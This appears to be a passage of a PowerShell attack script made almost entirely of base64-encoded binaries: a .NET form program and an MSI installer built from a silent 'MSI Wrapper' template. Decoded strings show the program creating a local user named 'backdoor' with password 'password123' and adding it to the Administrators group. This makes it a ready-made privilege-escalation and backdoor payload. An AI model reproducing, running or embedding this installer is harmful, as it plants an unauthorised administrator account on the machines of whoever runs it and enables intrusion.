mQgdG8gcmV0dXJuIHRoZSBwYXRoIHRvIGl0LkN1c3RvbUFjdGlvblByaW1hcnkga2V5LCBuYW1lIG9mIGFjdGlvbiwgbm9ybWFsbHkgYXBwZWFycyBpbiBzZXF1ZW5jZSB0YWJsZSB1bmxlc3MgcHJpdmF0ZSB1c2UuVGhlIG51bWVyaWMgY3VzdG9tIGFjdGlvbiB0eXBlLCBjb25zaXN0aW5nIG9mIHNvdXJjZSBsb2NhdGlvbiwgY29kZSB0eXBlLCBlbnRyeSwgb3B0aW9uIGZsYWdzLlNvdXJjZUN1c3RvbVNvdXJjZVRoZSB0YWJsZSByZWZlcmVuY2Ugb2YgdGhlIHNvdXJjZSBvZiB0aGUgY29kZS5UYXJnZXRGb3JtYXR0ZWRFeGNlY3V0aW9uIHBhcmFtZXRlciwgZGVwZW5kcyBvbiB0aGUgdHlwZSBvZiBjdXN0b20gYWN0aW9uRXh0ZW5kZWRUeXBlQSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSB0aGF0IGV4dGVuZHMgY29kZSB0eXBlIG9yIG9wdGlvbiBmbGFncyBvZiB0aGUgVHlwZSBjb2x1bW4uVW5pcXVlIGlkZW50aWZpZXIgZm9yIGRpcmVjdG9yeSBlbnRyeSwgcHJpbWFyeSBrZXkuIElmIGEgcHJvcGVydHkgYnkgdGhpcyBuYW1lIGlzIGRlZmluZWQsIGl0IGNvbnRhaW5zIHRoZSBmdWxsIHBhdGggdG8gdGhlIGRpcmVjdG9yeS5EaXJlY3RvcnlfUGFyZW50UmVmZXJlbmNlIHRvIHRoZSBlbnRyeSBpbiB0aGlzIHRhYmxlIHNwZWNpZnlpbmcgdGhlIGRlZmF1bHQgcGFyZW50IGRpcmVjdG9yeS4gQSByZWNvcmQgcGFyZW50ZWQgdG8gaXRzZWxmIG9yIHdpdGggYSBOdWxsIHBhcmVudCByZXByZXNlbnRzIGEgcm9vdCBvZiB0aGUgaW5zdGFsbCB0cmVlLkRlZmF1bHREaXJUaGUgZGVmYXVsdCBzdWItcGF0aCB1bmRlciBwYXJlbnQncyBwYXRoLkZlYXR1cmVQcmltYXJ5IGtleSB1c2VkIHRvIGlkZW50aWZ5IGEgcGFydGljdWxhciBmZWF0dXJlIHJlY29yZC5GZWF0dXJlX1BhcmVudE9wdGlvbmFsIGtleSBvZiBhIHBhcmVudCByZWNvcmQgaW4gdGhlIHNhbWUgdGFibGUuIElmIHRoZSBwYXJlbnQgaXMgbm90IHNlbGVjdGVkLCB0aGVuIHRoZSByZWNvcmQgd2lsbCBub3QgYmUgaW5zdGFsbGVkLiBOdWxsIGluZGljYXRlcyBhIHJvb3QgaXRlbQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEB4wCoAPkAgAWuAPkAjQVeABkB4wCoAPkAmwW1APkApAVpAPkAsQVeAPkAugUZACEB4wC8APkA1AXCAPkA3gXCACkB+QUZADEB4wDJADkBLAbPADkBUgbWAAkAZAa1APkAhQbdAEkBEAXjAAkAkgbCAPkAmwYZAPkAqAYKAFEB4wAKAFkB4wDuAGEBFAdNAREA4wAKAGkB4wAKAAEBNAc4AAEBRwdWAQEBaQdbAXEB4wAKABkA4wAKAHkBoQeiAXkBvAerAUkA4wCxAZEB4wC+AS4AGwDsAS4AewBKAi4AMwDyAS4ACwDOAS4AEwDsAS4AIwDsAS4AKwDOAS4AUwAKAi4AcwBBAi4ASwDsAS4AOwDsAS4AYwA0Ai4AawDFAUkAKwLFAWMAywH0AGMAwwHpAGkAKwLFAaMAAwLpAKMAwwHpAKMAywFhAYAB4wHpAJkAuQEDAAEABQACAAAA5gEzAAAABAJUAAAAfQJZAAIACQADAAIADgAFAAIADwAHAAEAEAAHAASAAAABAAAAAAAAAAAAAAAAAC0AAAACAAAAAAAAAAAAAAABAIUAAAAAAAIAAAAAAAAAAAAAAAEAnwAAAAAAAgAAAAAAAAAAAAAAAQDTAAAAAAACAAAAAAAAAAAAAAB5ALkEAAAAAAIAAAAAAAAAAAAAAHkAawUAAAAAAAAAAAEAAAD3BwAAuAAAAAEAAAAgCAAAAAAAAAA8TW9kdWxlPgBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuZXhlAEZvcm0xAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBTZXR0aW5ncwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcwBQcm9ncmFtAFJlc291cmNlcwBTeXN0ZW0uV2luZG93cy5Gb3JtcwBGb3JtAFN5c3RlbQBTeXN0ZW0uQ29uZmlndXJhdGlvbgBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBtc2NvcmxpYgBPYmplY3QALmN0b3IARXZlbnRBcmdzAEZvcm0xX0xvYWQAbGFiZWwxX0NsaWNrAGxhYmVsM19DbGljawBidXR0b24xX0NsaWNrAGdyb3VwX1RleHRDaGFuZ2VkAFN5c3RlbS5Db21wb25lbnRNb2RlbABJQ29udGFpbmVyAGNvbXBvbmVudHMARGlzcG9zZQBJbml0aWFsaXplQ29tcG9uZW50AFRleHRCb3gAdXNlcm5hbWUATGFiZWwAbGFiZWwxAGxhYmVsMgBwYXNzd29yZABsYWJlbDMAZ3JvdXAAQnV0dG9uAGJ1dHRvbjEAZGVmYXVsdEluc3RhbmNlAGdldF9EZWZhdWx0AERlZmF1bHQATWFpbgBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBDdWx0dXJlAHNlbmRlcgBlAGRpc3Bvc2luZwB2YWx1ZQBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEVudmlyb25tZW50AGdldF9NYWNoaW5lTmFtZQBTdHJpbmcAQ29uY2F0AFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcwBEaXJlY3RvcnlFbnRyeQBEaXJlY3RvcnlFbnRyaWVzAGdldF9DaGlsZHJlbgBDb250cm9sAGdldF9UZXh0AEFkZABJbnZva2UAQ29tbWl0Q2hhbmdlcwBGaW5kAGdldF9QYXRoAFRvU3RyaW5nAEFwcGxpY2F0aW9uAEV4aXQASURpc3Bvc2FibGUAU3VzcGVuZExheW91dABTeXN0ZW0uRHJhd2luZwBQb2ludABzZXRfTG9jYXRpb24Ac2V0X05hbWUAU2l6ZQBzZXRfU2l6ZQBzZXRfVGFiSW5kZXgAc2V0X1RleHQAc2V0X0F1dG9TaXplAEV2ZW50SGFuZGxlcgBhZGRfQ2xpY2sAYWRkX1RleHRDaGFuZ2VkAEJ1dHRvbkJhc2UAc2V0X1VzZVZpc3VhbFN0eWxlQmFja0NvbG9yAFNpemVGAENvbnRhaW5lckNvbnRyb2wAc2V0X0F1dG9TY2FsZURpbWVuc2lvbnMAQXV0b1NjYWxlTW9kZQBzZXRfQXV0b1NjYWxlTW9kZQBzZXRfQ2xpZW50U2l6ZQBDb250cm9sQ29sbGVjdGlvbgBnZXRfQ29udHJvbHMAYWRkX0xvYWQAUmVzdW1lTGF5b3V0AFBlcmZvcm1MYXlvdXQAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAU3lzdGVtLkNvZGVEb20uQ29tcGlsZXIAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQAuY2N0b3IAU2V0dGluZ3NCYXNlAFN5bmNocm9uaXplZABTVEFUaHJlYWRBdHRyaWJ1dGUARW5hYmxlVmlzdWFsU3R5bGVzAFNldENvbXBhdGlibGVUZXh0UmVuZGVyaW5nRGVmYXVsdABSdW4ARGVidWdnZXJOb25Vc2VyQ29kZUF0dHJpYnV0ZQBUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAEFzc2VtYmx5AGdldF9Bc3NlbWJseQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlU3RhdGUAV2luZG93c0Zvcm1zQXBwbGljYXRpb24xLkZvcm0xLnJlc291cmNlcwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcy5SZXNvdXJjZXMucmVzb3VyY2VzAAARVwBpAG4ATgBUADoALwAvAAATLABjAG8AbQBwAHUAdABlAHIAAAl1AHMAZQByAAAXUwBlAHQAUABhAHMAcwB3AG8AcgBkAAAHUAB1AHQAABdEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAlVAHMAZQByAAALZwByAG8AdQBwAAAHQQBkAGQAABF1AHMAZQByAG4AYQBtAGUAABFiAGEAYwBrAGQAbwBvAHIAAA1sAGEAYgBlAGwAMQAAEVUAcwBlAHIAbgBhAG0AZQAADWwAYQBiAGUAbAAyAAARUABhAHMAcwB3AG8AcgBkAAARcABhAHMAcwB3AG8AcgBkAAAXcABhAHMAcwB3AG8AcgBkADEAMgAzAAANbABhAGIAZQBsADMAAAtHAHIAbwB1AHAAAB1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAAA9iAHUAdAB0AG8AbgAxAAANQwByAGUAYQB0AGUAAAtGAG8AcgBtADEAABFVAHMAZQByACAAQQBkAGQAAFtXA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACBzZXQuICBUaGUgZGVmYXVsdCBpcyAiQUxMIi5BY3Rpb25Qcm9wZXJ0eVRoZSBwcm9wZXJ0eSB0byBzZXQgd2hlbiBhIHByb2R1Y3QgaW4gdGhpcyBzZXQgaXMgZm91bmQuQ29zdEluaXRpYWxpemVGaWxlQ29zdENvc3RGaW5hbGl6ZUluc3RhbGxWYWxpZGF0ZUluc3RhbGxJbml0aWFsaXplSW5zdGFsbEFkbWluUGFja2FnZUluc3RhbGxGaWxlc0luc3RhbGxGaW5hbGl6ZUV4ZWN1dGVBY3Rpb25QdWJsaXNoRmVhdHVyZXNQdWJsaXNoUHJvZHVjdGJ6LldyYXBwZWRTZXR1cFByb2dyYW1iei5DdXN0b21BY3Rpb25EbGxiei5Qcm9kdWN0Q29tcG9uZW50e0VERTEwRjZDLTMwRjQtNDJDQS1CNUM3LUFEQjkwNUU0NUJGQ31CWi5JTlNUQUxMRk9MREVScmVnOUNBRTU3QUY3QjlGQjRFRjI3MDZGOTVCNEI4M0I0MTlTZXRQcm9wZXJ0eUZvckRlZmVycmVkYnouTW9kaWZ5UmVnaXN0cnlbQlouV1JBUFBFRF9BUFBJRF1iei5TdWJzdFdyYXBwZWRBcmd1bWVudHNfU3Vic3RXcmFwcGVkQXJndW1lbnRzQDRiei5SdW5XcmFwcGVkU2V0dXBbYnouU2V0dXBTaXplXSAiW1NvdXJjZURpcl1cLiIgW0JaLklOU1RBTExfU1VDQ0VTU19DT0RFU10gKltCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UU11bV1JBUFBFRF9BUkdVTUVOVFNdX01vZGlmeVJlZ2lzdHJ5QDRiei5Vbmluc3RhbGxXcmFwcGVkX1VuaW5zdGFsbFdyYXBwZWRANFByb2dyYW1GaWxlc0ZvbGRlcmJ4anZpbHc3fFtCWi5DT01QQU5ZTkFNRV1UQVJHRVRESVIuU291cmNlRGlyUHJvZHVjdEZlYXR1cmVNYWluIEZlYXR1cmVQcm9kdWN0SWNvbkZpbmRSZWxhdGVkUHJvZHVjdHNMYXVuY2hDb25kaXRpb25zVmFsaWRhdGVQcm9kdWN0SURNaWdyYXRlRmVhdHVyZVN0YXRlc1Byb2Nlc3NDb21wb25lbnRzVW5wdWJsaXNoRmVhdHVyZXNSZW1vdmVSZWdpc3RyeVZhbHVlc1dyaXRlUmVnaXN0cnlWYWx1ZXNSZWdpc3RlclVzZXJSZWdpc3RlclByb2R1Y3RSZW1vdmVFeGlzdGluZ1Byb2R1Y3RzTk9UIFJFTU9WRSB+PSJBTEwiIEFORCBOT1QgVVBHUkFERVBST0RVQ1RDT0RFUkVNT1ZFIH49ICJBTEwiIEFORCBOT1QgVVBHUkFESU5HUFJPRFVDVENPREVOT1QgV0lYX0RPV05HUkFERV9ERVRFQ1RFRERvd25ncmFkZXMgYXJlIG5vdCBhbGxvd2VkLkFMTFVTRVJTMUFSUE5PUkVQQUlSQVJQTk9NT0RJRllBUlBQUk9EVUNUSUNPTkFSUEhFTFBMSU5LaHR0cDovL3d3dy5leGVtc2kuY29tQVJQVVJMSU5GT0FCT1VUQVJQQ09NTUVOVFNNU0kgVGVtcGxhdGUuQVJQQ09OVEFDVE15IGNvbnRhY3QgaW5mb3JtYXRpb24uQVJQVVJMVVBEQVRFSU5GT015IHVwZGF0ZSBpbmZvcm1hdGlvbi5CWi5WRVJGQlouV1JBUFBFRF9BUFBJRHs1NjYyODkxMi04RUQ0LTQ4RUYtQUM1Mi1FRTgzQTFCRkJGMTF9X2lzMUJaLkNPTVBBTllOQU1FRVhFTVNJLkNPTUJaLklOU1RBTExfU1VDQ0VTU19DT0RFUzBCWi5GSVhFRF9JTlNUQUxMX0FSR1VNRU5UUy9TSUxFTlQgQlouVUlOT05FX0lOU1RBTExfQVJHVU1FTlRTIEJaLlVJQkFTSUNfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUZVTExfSU5TVEFMTF9BUkdVTUVOVFNCWi5GSVhFRF9VTklOU1RBTExfQVJHVU1FTlRTQlouVUlOT05FX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSUJBU0lDX1VOSU5TVEFMTF9BUkdVTUVOVFNCWi5VSVJFRFVDRURfVU5JTlNUQUxMX0FSR1VNRU5UU0JaLlVJRlVMTF9VTklOU1RBTExfQVJHVU1FTlRTYnouU2V0dXBTaXplMjMyOTYwTWFudWZhY3R1cmVyUHJvZHVjdENvZGV7MjcxQkJDRUQtRjM2QS00RThFLUE1NzYtOTQ1NUYwQ0EwMUE4fVByb2R1Y3RMYW5ndWFnZTEwMzNQcm9kdWN0TmFtZU1TSSBXcmFwcGVyIFRlbXBsYXRlUHJvZHVjdFZlcnNpb24xLjAuMC4we0NDMDM1QzE4LTBGQzctNDcwOC04ODA2LUQ0QjA5MUU1OUFBN31TZWN1cmVDdXN0b21Qcm9wZXJ0aWVzV0lYX0RPV05HUkFERV9ERVRFQ1RFRDtXSVhfVVBHUkFERV9ERVRFQ1RFRFNPRlRXQVJFXFtCWi5DT01QQU5ZTkFNRV1cTVNJIFdyYXBwZXJcSW5zdGFsbGVkXFtCWi5XUkFQUEVEX0FQUElEXUxvZ29uVXNlcltMb2dv" + $Binary = '0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAEAP7/DAAGAAAAAAAAAAEAAAABAAAAAQAAAAAAAAAAEAAAAgAAAAEAAAD+////AAAAAAAAAAD///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA